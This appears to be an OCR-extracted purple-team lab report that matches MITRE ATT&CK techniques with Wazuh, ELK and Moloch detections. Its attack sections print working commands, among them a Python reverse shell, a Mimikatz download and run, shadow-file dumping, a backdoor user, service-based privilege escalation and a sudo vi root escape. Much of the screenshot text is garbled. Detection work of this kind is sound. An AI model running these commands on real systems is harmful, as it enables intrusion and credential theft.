t data.win.system.channel	>	Sep 14, 2020 @	 01:56:48.722 ag	ent in 10 1	0 10 5 inpu	it type: lo	a agent par	me: EMPL	OVEE-RW1	agent id: A	192 manager	name: wazuh	manager						
t _index			da 71f	ta.win.event	data.runspac ata.win.sys1	ceId: fd2dc tem.eventID	cf4-5b13-44 : 4106 dat	103-8130- a.win.sy	-870dbdb1	cff3 data.wi vords: 0x0 d	in.eventdata lata.win.sys	.scriptBlock	kId: 495c0 Guid: {a0c	555-2bfb- 21853b-5c	-483b :40-41	-b5d4- b15-87	56-		
<pre># _score t _type</pre>			3ct da	1c58f985a} ta.win.syste	data.win.sys m.message:	stem.level: "Completed	5 data.wi invocation	n.system of Scrip	.channel: otBlock I	Microsoft-V D: 495c0555-:	Windows-Powe 2bfb-483b-b5	rShell/Oper d4-71f3d123	ational da 690d Runsp	ta.win.sy ace ID: 1	ystem fd2dc	n.opcoc ccf4-5t	le: 18 013-44	5 403 -	

• Detecting Reverse Connection by Network Analysis

02:02:35 2020/09/14

01:51:00

01:48:58

2020/09/14

10.10.10.5

10.10.10.5

55347

55343

192.168.150.4

192.168.150.4

4443

4443

2020/09/14

2020/09/14

01:49:19

01:44:58

+ tcp

+ tcp

$\leftrightarrow \rightarrow$	C A Not se	cure   172.16.1.	15:8005/sessions?grap	hType=paHisto8	&seriesType=bars&expr	ession=ip.	src%20%3D9	63D%2010.10.10	.5%20%26%20	5%20ip.dst%2	0%3D%3D%20192.168.150.4&dst 🟠	O	8 😒	* (	
*	Sessions SPIVi	ew SPIGrapl	n Connections H	unt Files S	tats History Settin	gs							14	v2.2.3	Ð
Q ip.	src == 10.10.10.5 &	& ip.dst == 192.	168.150.4									×	Searc	n 📀	-
⊙ La	st hour Sta	rt 2020/09/14 (	01:09:30 16 tota	End 2020	0/09/14 02:09:30	H H	Bounding	Last Packet	Interva	I Auto	01:00:00	3			
50 per p	age of c	1 Show	ring 1 - 3 of 3 entries												
13 10					QQ 10% -	> Sessi	on Packets	Bytes Databytes	Lines Bars						0
8															-
3									-						
0/09/14 01:	10:00 2020/09/14 01	:15:00 2020/09/1	4 01:20:00 2020/09/14 0	1:25:00 2020/09	/14 01:30:00 2020/09/14 0	1:35:00 2	020/09/14 01:40	0:00 2020/09/14 0	01:45:00 2020	/09/14 01:50:00	2020/09/14 01:55:00 2020/09/14 02:00:00	2020/09/	/14 02:05:00		
	Start Time	Stop Time	Src IP / Country	Src Port	Dst IP / Country	Dst Po	ort 🗢 Pa	ckets 🗢 Dat	tabytes /	Moloch	Info				3
+ tcp	2020/09/14 01:56:21	2020/09/14 02:02:35	10.10.10.5	55352	192.168.150.4	4443	9	29 574	les	NetworkMonite	or				

4

4

0 252

0 252 NetworkMonitor

NetworkMonitor

### 2. EXECUTION

#### 2.2 Execution Linux [External Remote Services - T1059.004]

2.2.A Attack [Command and Scripting Interpreter (Unix Shell)]: -

• Attacker Machine:



• On Compromised Machine (Employee-RL1):

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect(("192.168.150.4,7777));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#### 2.2.B Detection: -

Detect Shell-Code Execution using Host based Attack Monitoring [ELK + Wazuh (HIDS)] & Traffic Analysis Active Defence – DTE0036 (Software Manipulation)

• Detecting Python Script for Reverse Shell by HIDS

$\leftarrow$	$\rightarrow$ G		Not secure	172.16.1.1	13/app/kibana#/disc	cover?_g=(filters:!(),	refreshInterval:(pause:!t,val	ue:0),time:(from:now	- <mark>1</mark> 5m,to:ı	now))8	k_a=(c	olumns:	:!(_source),filte	ers:!(('\$s	state <mark>':(</mark> stor	e:appState),met	☆ 🕐 🤇	8 🚳 🛪	• 🕜	:
≡		D	Discover															Ø	E	2
	die eile							root	62864	0.0	0.0	0	0 ?	I	01:52	0:00 [kworker/	u256:2-]			
								root	62945	0.0	0.0	0	0 ?	I	02:12	0:00 [kworker/	u256:0-]			
								emp1@cy+	62979	0.0	0.1	36356	9536 pts/0	S	02:16	0:00 <mark>python</mark> -c	import socke	et,subproce	ess,	
								os;s=soc	ket.soc	et(so	ocket.	AF_INET	,socket.SOCK	STREA	M);s.con	nect(("192.168.1	50.4",7777))	;os.dup2(s.	fil	
								eno(),0)	; os.dup	2(s.f	ileno	(),1);	os.dup2(s.fi	leno()	,2);p=su	bprocess.call(["	/bin/sh","-i	']);		
								emp1@cy+	62980	0.0	0.0	4624	784 pts/0	S+	02:16	0:00 /bin/sh -	i			
								root	62994	0.0	0.0	4624	884 ?	S	02:20	0:00 sh -c ps	aux			
								root	62995	0.0	0.0	49960	3652 ?	R	02:20	0:00 ps aux				
								root	86926	0.0	0.0	0	0 ?	I<	Sep04	0:00 [xfsalloo	]			
								root	86928	0.0	0.0	0	0 ?	I<	Sep04	0:00 [xfs_mru_	.cache]			
								root	86939	0.0	0.0	0	0 ?	S	Sep04	0:00 [jfsI0]				
								root	86940	0.0	0.0	0	0 ?	S	Sep04	0:00 [jfsCommi	tj			
								root	86941	0.0	0.0	0	0 ?	S	Sep04	0:00 [jfsCommi	tj			
								root	86942	0.0	0.0	9	0 ?	S	Sep04	0:00 [jfsCommi	.t]			
								root	86943	0.0	0.0	0	0 ?	5	Sep04		τ]			
								root	86944	0.0	0.0	0	0 2	S	Sep04	0:00 [jfsCommi	.t]			
								root	86945	0.0	0.0	0	0 ?	S	Sep04	0:00 [jfsCommi	.tj			
								root	86946	0.0	0.0	0	0 2	5	Sep04	0:00 []TSCOMMI	t]			
								root	86947	0.0	0.0	0	0 2	5	Sep04	0:00 [jfscommi	τ] +1			
								root	06040	0.0	0.0	0	0 2	5	Sep04	0:00 [jiscommi	-1			
								root	06050	0.0	0.0	0	0 2	5	Sep04	0:00 [jiscommi	. L J			
								root	06051	0.0	0.0	0	0 2	5	Sep04	0:00 [jiscommi	() (+)			
								root	060531	0.0	0.0	0	0 2	0	Sep04	0.00 [jiscommi	+ ]			
								root	06052	0.0	0.0	0	0 2	0	Sep04	0.00 [jfsCommi	() (+)			
								root	06054	0.0	0.0	0	0 2	0	Sep04	0.00 [jfsCommi	+1			
								root	06055	0.0	0.0	0	0 2	0	Sep04	0.00 [jiscommi	(+)			
								root	06056	0.0	0.0	0	0 2	0	Sep04	0.00 [jiscomm]	.c.)			
								root	106750	0.0	0.0	0	62	т	Sep04	0.00 [JISSync]	4.01			
								root	100739	0.0	0.0	0	0 2	T	Sep00	0.00 [kworker/	(12·1 og]			
								1000	109343	0.0	0.0	0	0 :	1	Sepoo	0.00 [KWOIKEI/	13.1-cg]			
						t id		16000302	33.45123	888										
						<pre>t input.type</pre>		log												
						t location		ps aux												
						t manager.name		wazuhman	ager											

Detecting Reverse Connection by Network Analysis ٠

02:25:32

🔺 Not secure | 172.16.1.15:8005/sessions?graphType=paHisto&seriesType=bars&expression=ip.src%20%3D%3D%2010.10.10.6%20%26%26%20ip.dst%20%3D%3D%20192.168.150.4&dst... 🟠 🚺 🐁  $\leftarrow \rightarrow$ C m v2.2.3 🚺 Sessions SPIView SPIGraph Connections Hunt Files Stats History Settings A state ip.src == 10.10.10.6 && ip.dst == 192.168.150.4 × Search Q  $\odot$ H H End 2020/09/14 23:59:59 K N Bounding Last Packet Start 2020/09/14 01:29:16 Interval Auto 0 Custom 22:30:43 1 50 per page Showing 1 - 1 of 1 entries 8 3 Q Q < 10% - > Session Packets Bytes Databytes Lines Bars 6 4 2 0 3/14 01:30:00 2020/09/14 03:30:00 2020/09/14 05:30:00 2020/09/14 07:30:00 2020/09/14 09:30:00 2020/09/14 11:30:00 2020/09/14 13:30:00 2020/09/14 15:30:00 2020/09/14 17:30:00 2020/09/14 19:30:00 2020/09/14 21:30:00 2020/09/14 23:30:00 - Start Time Stop Time Src IP / Country Src Port Dst IP / Country Dst Port Packets Databytes / Moloch Info Bytes Node 2020/09/14 51818 7777 2020/09/14 10.10.10.6 192.168.150.4 6 2 NetworkMonitor 🔸 tcp 380 02:16:53



### 3. PERSISTENCE

3.1 Persistence Windows [Boot or Logon Autostart Execution - T1547.001]3.1.A Attack: -

Registry Modification

1.1 Modify Registry values for persistence

reg add
"HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v
Pentestlab /t REG\_SZ /d "C:\Temp\lab.exe"

#### 3.1.B Detection: -

Detect Registry Modification using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0006 (Defining Base-Lining on Registry management)

$\leftrightarrow$ $\rightarrow$ C A Not secure   172.16.	1.13/app/kibana#/discover?_g=(filters:!(	),refreshInterval:(pause:!t,value:0),t	me:(from:now-15m,to:now))&	_a=(columns:!(_source),f	ilters:!(('\$state':(store:	appState),met 1	a 0 8	🚳 🗯 🔘 🗄
Discover								
Search Search			KQL	🛗 🗸 Last 15 minu	tes	Sho	ow dates	් <u>Refresh</u>
😑 – NOT data.win.eventdata.image: C:\\Pro	ogram Files (x86)\\ossec-agent\\ossec-ag	ent.exe × agent.ip: 10.10.10.5 ×	+ Add filter					
wazuh-archives-3.x-*    Q Search field names   Filter by type   Filter by type   selected fields   source   Available fields   Popular   t agent.id	5 4 3 2 1 0 16:01:00 16:02:00 16:03:0	Sep 14, 2020 @ 00 16:04:00 16:05:00 16:06	8 hit 16:01:59.818 - Sep 14, 2020	16:09:00 16:10:00	Auto ~ 16:11:00 16:12:00	16:13:00 16:14:0	0 16:15:00	16:16:00
t agent.ip	Time 🗸	_source	timestamp pe	r 30 seconas				
Top 5 values in 8 / 8 records         10.10.10.5         Image: total constraints         t         data.win.eventdata.even         t         data.win.system.channel	> Sep 14, 2020 @ 16:16:11.175	agent.ip: 10.10.10.5 input.ty data.win.eventdata.originalFi data.win.eventdata.product: M 000000001200} data.win.eventd data.win.eventdata.parentComm	vpe: log agent.name: EMPLO leName: reg.exe data.win.e icrosofto Windowso Operati ata.description: Registry andLine: \"cmd.exe\" data	DYEE-RW1 agent.id: 06 eventdata.image: C:\\ .ng System data.win.e Console Tool data.wi .win.eventdata.proces	02 manager.name: wa Windows\\System32\\ ventdata.parentProc n.eventdata.logonGu sGuid: {bb9c045a-49	azuhmanager \reg.exe cessGuid: {bb9c043 uid: {bb9c045a-356 9ea-5f5f-cf12-0006	5a-35d8-5f5f- d8-5f5f-206c- 000001200}	b112- 030e0000000}

### 3. PERSISTENCE

#### 3.2.1 Persistence Linux [Create Account - T1136.001] 3.2.A Attack: -

Create Account

1.1 Adding Users for persistence

useradd -p \$(openssl passwd -1 password) support\_388945a1

#### 3.2.B Detection: -

Detect adding new users for persistence using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0006 (Defining Base-Lining on Registry management)

$\leftrightarrow$ $\rightarrow$ C $\land$ Not secure   172.1	16.1.13/app/kibana#/discover?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source),filters:!(('\$state':(store:appState),met 🖈 🕐 😵 🛸 🧃	
😑 褖 🖸 Discover	Ø	$\square$
New Save Open Share Inspec	ct	
🖫 🗸 useradd	KQLImage: Image: I	h
	ter	
wazuh-archives-3.x-* ∨ Q Search field names Filter by type 0 Selected fields Selected fields Popular	6 hits Sep 14, 2020 @ 16:26:57.394 - Sep 14, 2020 @ 16:41:57.394 - Auto ~ 3 25 2 15 1 05 0	
t agent.id t agent.ip t location	16:27:00 16:28:00 16:29:00 16:30:00 16:31:00 16:32:00 16:33:00 16:34:00 16:35:00 16:36:00 16:37:00 16:38:00 16:39:00 16:40:00 16:41:00 timestamp per 30 seconds Time	
t _id t _index # _score t _type	<pre>&gt; Sep 14, 2020 @ 16:40:54.203 agent.ip: 10.10.10.6 data.audit.command: useradd full_log: type=SYSCALL msg=audit(1600081852.590:24795): arch=c000003e syscall=42 success=yes exit=0 a0=6 a1=55c230ecf800 a2=1d a3=7ffffb344ff0 items=1 ppid=72118 pid=73583 auid=1489401118 uid=1489401118 gid=1489400513 euid=1489401118 suid=1489401118 fsuid=1489401118 egid=1489400513 sgid=1489400513 fsgid=1489400513 tty=pts0 ses=538 comm="useradd" exe="/usr/sbin/useradd" key="T1043_Commonly_Used_Port" type=SOCKADDR msg=audit(1600081852.590:24795): saddr=01002F72756E2F646275732F73797374656D5F6275735F736F636B6574 type=PATH msg=audit(1600081852.590:24795): item=0</pre>	a News



### 4. PRIVILEGE ESCALATION

4.1 Privilege Escalation Windows [Create or Modify System Process - T1543.003]4.1.A Attack: -

Create or Modify System Processes sc.exe config snmptrap binpath= "net localgroup Administrators cyberwarfare\empX /add" sc.exe stop snmptrap sc.exe start snmptrap

<logoff>

<then login again>

#### 4.1.B Detection: -

Detecting service manipulation by Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0032 (Security Controls)

← → C ▲ Not secure   172	2.16.1.13	/app/kiba	na#/discover	?_g=(filters:	!(),refreshInte	erval:(pause:!	t,value:0),tim	e:(from:now	-15m,to:now))	&_a=(colu	imns:!(_sourc	e),filters:!(('\$:	state':(store:a	appState),met	☆	0	8	*	m
😑 褖 🖸 Discover																		0	
New Save Open Share Inspe	ect																		
₿ ✓ Search									KQL	<b></b>	Last 15 mi	inutes			Show da	ates	C	Ref	resh
(=)agent.ip: 10.10.10.5 × ↓ Add fi	ilter								36										
wazuh-archives-3.x-* $ \smallsetminus $	0								<b>7</b> h	nits									
Q Search field names						Sep 14	, 2020 @ 16	38:18.284	- Sep 14, 20	20 @ 16:5	53:18.284 —	Auto	$\sim$						
<ul> <li>Filter by type</li> <li>Selected fields</li> <li>_source</li> <li>Available fields</li> </ul>	Count	6 5 4 3 2 1																	
Popular t agent.id		0	16:39:00	16:40:00	16:41:00	16:42:00	16:43:00	16:44:00	16:45:00	16:46:00	16:47:00	16:48:00	16:49:00	16:50:00	16:51:00	16	:52:00		
t agent.ip		Time 🗸			_source				uncoump		1143								
Top 5 values in 7 / 7 records         10.10.10.5       P. P.         100.0%         Visualize         t       data.win.system.channel	>	Sep 14,	2020 @ 16::	52:28.606	agent.ip: data.win. data.win. 0000000012 5f5f-206c-	10.10.10.5 eventdata.o eventdata.p 200} data.w 030e0000000	input.typ riginalFile roduct: Mic in.eventdat 00} data.wi	e: log age Name: sc.e crosoft® Win a.descript: n.eventdata	nt.name: EMP ke data.win. ndows© Opera ion: Service a.parentComma	LOYEE-RW1 eventdata ting Syst Control andLine:	agent.id: a.image: C: em data.win Manager Con \"cmd.exe\"	002 manage \\Windows\\ n.eventdata figuration data.win.e	er.name: wa System32\\s .parentProc Tool data. eventdata.p	nzuhmanager c.exe essGuid: {b win.eventda rocessGuid:	b9c045a-35 ta.logonGu {bb9c045a	5d8-51 1id: +	f5f-b11 {bb9c04 b-5f5f-	2- 5a-35c da12-	18-
# 4. PRIVILEGE ESCALATION

4.2 Execution: - Privilege Escalation Linux [Abuse Elevation Control Mechanism T1548.003]

4.2.B Attack: -

Abuse Elevation Control Mechanism

sudo -l

sudo /tmp/vi

Esc + :!/bin/bash

(presented with root)

### Detecting '**sudo**' abuse using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0032 (Security Controls)

← → C ▲ Not secure   172.1	6.1.13/	app/kib	ana#/discover?	_g=(filters:	:!(),refreshInter	rval:(pause:!	t,value:0),tim	ne:(from:now	-15m,to:now))8	k_a=(colu	mns:!(_source),filters:!(('\$	state':(store:appState),n	net 🕁	0 9	8 🚳	*	m
😑 😵 🖸 Discover																0	$\square$
New Save Open Share Inspec	:t																
₿ ✓ Search									KQL		Last 15 minutes		Show d	ates	C	Refre	esh
	er																
wazuh-alerts-3.x-* $\vee$	0								<mark>1</mark> h	it							
Q Search field names						Sep 14	, 2020 @ 16	5:41:19.943	- Sep 14, 202	0 @ 16:5	6:19.943 — Auto	$\checkmark$					
<ul> <li>Filter by type</li> </ul>		1 0.8															1
Selected fields	unt	0.6															
Available fields	ပိ	0.4															
Popular		0.2															
t agent.id		Q	16:42:00	16:43:00	16:44:00	16:45:00	16:46:00	16:47:00	16:48:00	16:49:00	16:50:00 16:51:00	16:52:00 16:53:00	16:54:00	16:55	:00		
t agent.ip									timestamp p	er 30 sec	onds						
t agent.name		Time 🚽			_source												
t input.type	>	Sep 14	, <mark>2020 @ 16:5</mark>	5:51.225	{ "predecod	der": { "ho	ostname": "	EMPLOYEE-RL	1", "program_	name": "	sudo", "timestamp": "S	Sep 14 16:55:51" }, '	'input": {	'type":	"log"	}, "a	gen
id		ā.			t": { "ip": "nts/0" "n	: "10.10.10	.6", "name	": "EMPLOYE	E-RL1", "id": mp1" "comman	"004" } d"• "lis	, "data": { "srcuser" t" } "manager": { "p;	"emp1@cyberwarfare	.corp", "dst	tuser":	"root	", "tt lse "	y": leve
_index					1": 3, "pci	L_dss": [ "	10.2.5", "	10.2.2" ],	"hipaa": [ "1	64.312.b	"], "tsc": [ "CC6.8",	"CC7.2", "CC7.3"],	, "descripti	ion": "	Succes	sful s	udo
③ _score					to ROUI exe itre": { "t	ecuted.", " technique":	groups": [ ["Sudo"	syslog", ], "id": [	"sudo" ], "ni "T11 <mark>6</mark> 9" ], "t	st_800_5 actic":	3 : [ "AU.14", "AC.7", [ "Privilege Escalatio	, "AU.6" ], "gdpr": on" ] }, "id": "5402"	", "gpg13":	], "fi [ "7.6	redtim	es": 1 8", "7	, "m .13"
_type					] }, "locat	tion": "/va	nr/log/auth	.log", "id"	: "1600082751	.2413333	0", "decoder": { "pare	ent": "sudo", "name"	: "sudo", "f	ftscomm(	ent":	"First	tim



## 5. DEFENSIVE EVASION

### 5.1 Defensive Evasion Windows [File & Directory Permissions Modification - T1222.001]

5.1.A Attack : -

Defensive control evasion by changing Access Controls.

icacls . /grant Everyone:F /T /C /Q

Detect Access Control Manipulation using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0030 (Pocket Litter)

← → C ▲ Not secure   17	72.16.1.1	3/app/kibar	na#/discover?_g=(filters:!(	),refreshInterval:(j	pause:!t,val	lue:0),time:(fi	rom:now-15r	n,to:now))&	_a=(column:	s:!(_source),	filters:!(('\$sta	ate': <mark>(</mark> store:ap	pState),met	. 🕁	0 9	5 🚳	*	m
<ul> <li>Discover</li> <li>Search</li> </ul>								KQL	∰ ∨ La	ast 15 minu	ites			Show da	tes	S	© <u>Refre</u>	⊠ <u>esh</u>
(⇒agent.ip: 10.10.10.5 × ] + Add	filter																	
wazuh-alerts-3.x-* $ \smallsetminus $	0							3 hit	S									
Q Search field names					Sep 14, 20	020 @ 16:45	5:13.767 - S	ep 14, 2020	0 @ 17:00:1;	3.767 —	Auto	$\sim$						
<ul> <li>Filter by type</li> <li>Selected fields</li> <li>Available fields</li> </ul>	Count	2 1.5 1																
Popular t agent.id		0.5																
t agent.ip			16:46:00 16:47:00	16:48:00	16:49:00	16:50:00	16:51:00	16:52:00	16:53:00	16:54:00	16:55:00	16:56:00	16:57:00	16:58:00	16:	:59:00		
Top 5 values in 3 / 3 records 10.10.10.5 ලැ ල		Time 🗸		_source				incotanip pe										
100.0%	>	Sep 14,	2020 @ 16:59:59.666	{ "input": { "t "data": { "win" oft® Windows® O	:ype": "lo ': { "even )perating	g" }, "ager tdata": { ' System", "p	nt": { "ip" 'originalFil barentProces	: "10.10.10 LeName": "i ssGuid": "{	0.5", "name .CACLS.EXE" (bb9c045a-3	": "EMPLOY , "image": 5d8-5f5f-b	EE-RW1", " "C:\\\\Wi 112-000000	id": "002" ndows\\\\Sy 001200}", "	}, "manager stem32\\\\i logonGuid":	": { "nam .cacls.exe "{bb9c04	e": "w ", "pr 5a-35c	/azuhma 'oduct" 18-5f5f	nager : "Mic -206c-	" }, cros -030
t agent.name t data.win.system.channel				e00000000}", "p entProcessId": ashes": "MD5=D8 7B5BCF2727BCD1C	oarentComm "4880", " BB5077F155 CFB399", "	andLine": ' processId": 76983CB8D34 parentImage	'\\\"cmd.exe "10364", ' !4F21FD1309, e": "C:\\\\\	e\\\"", "pr 'currentDir SHA256=352 Vindows\\\\	ocessGuid" ectory": " 4EDE090FE5 System32\\	: "{bb9c04 C:\\\\Wind 03A30DEC8F \\cmd.exe"	5a-542e-5f ows\\\\sys 629A74B8F7 , "company	5f-dd12-000 tem32\\\\", 20C9A230E5C ": "Microso	000001200}" "utcTime": 4E49A3BB151 oft Corporat	, "logonI "2020-09 C8AC1424A ion", "co	d": "0 -14 11 ,IMPHA mmandL	1xe036c :29:50 \SH=446 _ine":	20", .946" 163A54 "icac	'par , "h 4833 ls .

## 5. DEFENSIVE EVASION

5.2 Defensive Evasion Linux [File & Directory Permissions Modification - T1222.002]

5.2.A Attack: -

File and Directory Permissions Modification: -

cd /opt/sensitive

chmod 777 /opt/sensitive

cat read.txt

Detect File/Folder permissions abuse using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0030 (Pocket Litter)

$\leftrightarrow \rightarrow \mathbf{C}$ A Not secure   172.	16.1.13/a	app/kibar	na#/discove	r?_g=(filters:	!(),refreshInt	terval:(pause	::!t,value:0),tii	me:(from:nov	ν-15m,to:now))δ	&_a=(colu	mns:!(_sour	ce),filters:!(('	\$state':(store:	appState),me	et 🛠	0 9	8 🚳	*	m
😑 😵 🖸 Discover																		٩	$\square$
New Save Open Share Inspec	ct																		
ⓑ ∽  chmod									KQL		Last 15 m	ninutes			Show d	ates	C	Refre	esh
	er																		
wazuh-archives-3.x-* ~	0								<b>4</b> h	its									
Q Search field names						Sep 1	4, 2020 @ 1	6:50:49.843	3 - Sep 14, 202	20 @ 17:0	5:49.843 -	- Auto	~						
<ul><li>Filter by type</li><li>0</li></ul>		4																	1
Selected fields	unt	2																	
(b) _source	S	1																	
Popular		0																	l
t agent.id			16:51:00	16:52:00	16:53:00	16:54:00	16:55:00	16:56:00	16:57:00 1	16:58:00	16:59:00	17:00:00	17:01:00	17:02:00	17:03:00	17:04:	00		
t agent.ip		Time							timestamp p	er 30 seco	nds								
t location		Time -			_source														
t_id	>	Sep 14,	2 <mark>020 @ 1</mark> 7:	:02:27.673	agent.ip:	: <mark>10.10.10.</mark>	6 data.aud	it.command:	chmod full_1	log: type	=SYSCALL m	nsg=audit(10	500083145.80	61:26286): a	arch=c00000	3e sys	call=2	68	
t _index					euid=1489	es exit=0 a 401118 suid	a0=TTTTTT9c d=148940111	a1=564a9601 8 fsuid=1489	704C0 a2=1C0 a 9401118 eqid=1	148940051	s=1 ppid=/ 3 sqid=148	2118 pid=/3 9400513 fsc	aid=1489400	189401118 ui 513 ttv=pts0	d=14894011 d ses=538 c	18 gid: comm="c	=14894 hmod"	00513	
# _score					exe="/bin	/ <mark>chmod</mark> " key	y="T1166_Se	uid_and_Set	gid" type=PATH	l msg=aud	it(1600083	145.861:262	286): item=0	0 name="dd.t	txt" inode=	158042	0 dev=	08:01	
t _type					mode=0100	755 ouid=14	489401118 0	gid=1489400	5 <mark>1</mark> 3 rdev=00:00	) nametyp	e=NORMAL c	ap_fp=0 cap	o_fi=0 cap_1	fe=0 c <mark>ap_fve</mark>	er=0 cap_fr	ootid=	0 type	=PROCT	ITLE



Attacker C2 Server

# 6. CREDENTIAL ACCESS

6.1 Credential Access Windows [OS Credential Dumping - T1003.001] 6.1.A Attack : -

OS Credential Dumping: -

1. Download Credential Dumping Script from Payload-Server:

iwr -usebasicparsing <u>http://192.168.250.100/Invoke-Mimikatz.ps1</u> -OutFile Invoke-Mimikatz.ps1

2. Execute Credential Dumping script on compromised machine:

.\Invoke-Mimikatz.ps1

#### Detect Credential dumping script using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0012 (Decoy Credentials)

$\leftarrow \rightarrow C$ A Not secure   172.16.	. <mark>1.</mark> 13/a	app/kibar	na#/discover?_g=	(filters:!(),re	fres <mark>h</mark> Interval	l:(pause:lt,va	alue:0),time:(	(from:now-15	m,to:now))&	&_a=(colu	mns:!(_source	e),filters:!(('\$	state':(store:	appState),m	et 🟠	0 %	8	k 💿
😑 褖 🖸 Discover																	¢	
New Save Open Share Inspect																		
Search									KQL	<b></b>	Last 15 mi	nutes			Show of	dates	C <u>R</u>	efresh
(⇒) − agent.ip: 10.10.10.5 × + Add filter																		
wazuh-archives-3.x-* 🗸 🔇									40,825	5 hits								
Q Search field names						Sep 14, 2	2020 @ 17:0	04:11.644 - 5	ep 14, 202	20 @ 17:1	9:11.644 —	Auto	$\sim$					
<ul><li>Filter by type</li><li>0</li></ul>		15000																
Selected fields	unt	10000																
Available fields	ů	5000																
Popular		0																
t agent.id			17:05:00	17:06:00	17:07:00	17:08:00	17:09:00	17:10:00	17:11:00	17:12:00	17:13:00	17:14:00	17:15:00	17:16:00	17:17:00	17:18:00	17:19	:00
t agent.ip		Time 🗸		_so	urce													
t data.win.system.channel	>	Sen 14	2020 @ 17.19.0	5 994		10 10 E		1	CND	OVER DWA		000			8			
t location		oep 11,	2020 0 17.17.0	da	ent.ip: <mark>10</mark> . ta.win.svst	em.messade	nput.type: e: "Command	log agent. Invocation(	name: EMPl Invoke-Mim	ikatz):	agent.id: "Invoke-Mim:		er.name: wa meterBindi	azunmanager ng(Invoke-I	- Mimikatz):	name="Dum	oCreds	
t_id				val	ue="False"	Parameter	Binding(Inv	voke-Mimikat	z): name='	'DumpCert	s"; value="	False" Para	meterBindi	.ng(Invoke-	Mimikatz):	name="Com	mand";	
t _index				val	ue="" Comma	andInvocat	ion(Out-De	fault): "Out	-Default"	Paramete	rBinding(Ou	t-Default)	name="Inp	outObject";	value=" .	#####. mim	ikatz	2.2.0
# _score				(x6	4) #18362 .	Jan 16 202	0 20:15:50	.## ^ ##. "	A La Vie,	A L'Amou	r" - (oe.eo	) ## / \ ##	∶/*** Benj	amin DELPY	`gentilki	wi` (		

# 6. CREDENTIAL ACCESS

6.2 Credential Access Linux [OS Credential Dumping - T1003.008]

6.2.A Attack: -

/etc/shadow & /etc/passwd file dump: -

unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db

#### Detect credential dumping using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0012 (Decoy Credentials)

← → C ▲ Not secure   172.16	5.1.13/app/k	ibana#/discover?_g=(filters:!	),refreshInterva	l:(pause:!t,v	alue:0),time:(1	from:now-15	m,to:now))8	k_a=(colu	mns:!(_source),filters:!(('\$state':	(store:appState),met	. 🕁 🕐	8	8 *	F 🕋
😑 😵 🖻 Discover														
New Save Open Share Inspect														
🗊 🗸 unshadow							KQL	<b>*</b>	Last 15 minutes		Show date	s	් Re	fresh
	r													
wazuh-archives-3.x-* $\checkmark$							2 hi	ts						
Q Search field names				Sep 14,	2020 @ 17:1	2:12.041 - S	ep 14, 202	0 @ 17:2	7:12.041 — Auto ~					
<ul><li>Filter by type</li></ul>	2													
Selected fields	tin 1													
() _source	<b>8</b> 0.5													
Available fields	0												1=	
t agent.id	0753	17:13:00 17:14:0	) 17:15:00	17:16:00	17:17:00	17:18:00	17:19:00	17:20:0	0 17:21:00 17:22:00	17:23:00 17:24:00	17:25:00	17:26	5:00	
t agent.ip							timestamp p	er 30 sec	onds					
t location	Time	•	_source											
t_id	> Sep	14, 2020 @ 17:26:35.315	agent.ip: <mark>10</mark>	.10.10.6	data.audit.c	ommand: un:	<mark>shadow</mark> ful	l_log: t	ype=SYSCALL msg=audit(16000	084593.844:27965):	arch=c00000	3e sys	call=25	17
t _index			success=no ex euid=14894011	1τ=-13 a0= 18 suid=14	=TTTTTTT9c a1 189401118 fs	=/TTd5/d95/ uid=1489401	01 a2=0 a3 118 egid=1	=0 items 48940051	=1 ppid=/2118 pid=/3834 au 3 sgid=1489400513 fsgid=148	1a=1489401118 u1d=1 89400513 tty=pts0 s	489401118 g es=538 comm	n=" <mark>unsh</mark>	9400513 adow"	
# _score			exe="/usr/sbi	n/john" <mark>k</mark> e	ey="T1 <mark>0</mark> 87_Ac	count_Disco	very" type	= <mark>PATH</mark> ms	g=audit(1600084593.844:2796	65): item=0 name="/	etc/shadow"	inode	=131110	17
t _type			dev=08:01 mod	e=0100640	ouid=0 ogid	=42 rdev=00	:00 namety	pe=NORMA	L cap_fp=0 cap_fi=0 cap_fe=	=0 cap_fver=0 cap_f	rootid=0 ty	/pe=PRC	CTITLE	



### 7. DISCOVERY

7.1 Discovery Windows [Domain Trust Discovery - T1482]

7.1.A Attack: -

Domain Users Discovery:

net user /domain

Domain Group Discovery:

net group «Domain Admins» /domain

### Detecting Domain information discovery using Host based Attack Monitoring [ELK + Wazuh (HIDS)] Active Defence – DTE0014 (Decoy Network) – DTE 0012 (Decoy Credentials)

← → C ▲ Not secure   172	2. <mark>16.1.1</mark> 3/app	p/kibana#/discover?_g=(filters:	!(),refreshInterval:(pause:!t,value:0),time:(from:now-15m,to:now))&_a=(columns:!(_source),filters:!(('\$state':(store:appState),met	☆ 🤇	)		*	m
😑 😵 🖻 Discover							٩	
(=) − agent.ip: 10.10.10.5 × + Add fi	ilter							
wazuh-alerts-3.x-* ~	0		7 hits					
Q Search field names			Sep 14, 2020 @ 17:46:49.155 - Sep 14, 2020 @ 18:01:49.155 — Auto 🗸					
<ul> <li>Filter by type</li> </ul>	2	3						
Selected fields	ŧ	2						
Available fields	L Court	.5						
Popular	0.	1.5						
t agent.id		0				10		
t agent.ip		17:47:00 17:48:00	17:49:00 17:50:00 17:51:00 17:52:00 17:53:00 17:54:00 17:55:00 17:56:00 17:57:00 17:58:00 17:59:00	18:00:00	1	8:01:00		
t agent.name			timestamp per 50 seconds					
t data.win.system.channel	111	me 🗸	_source					
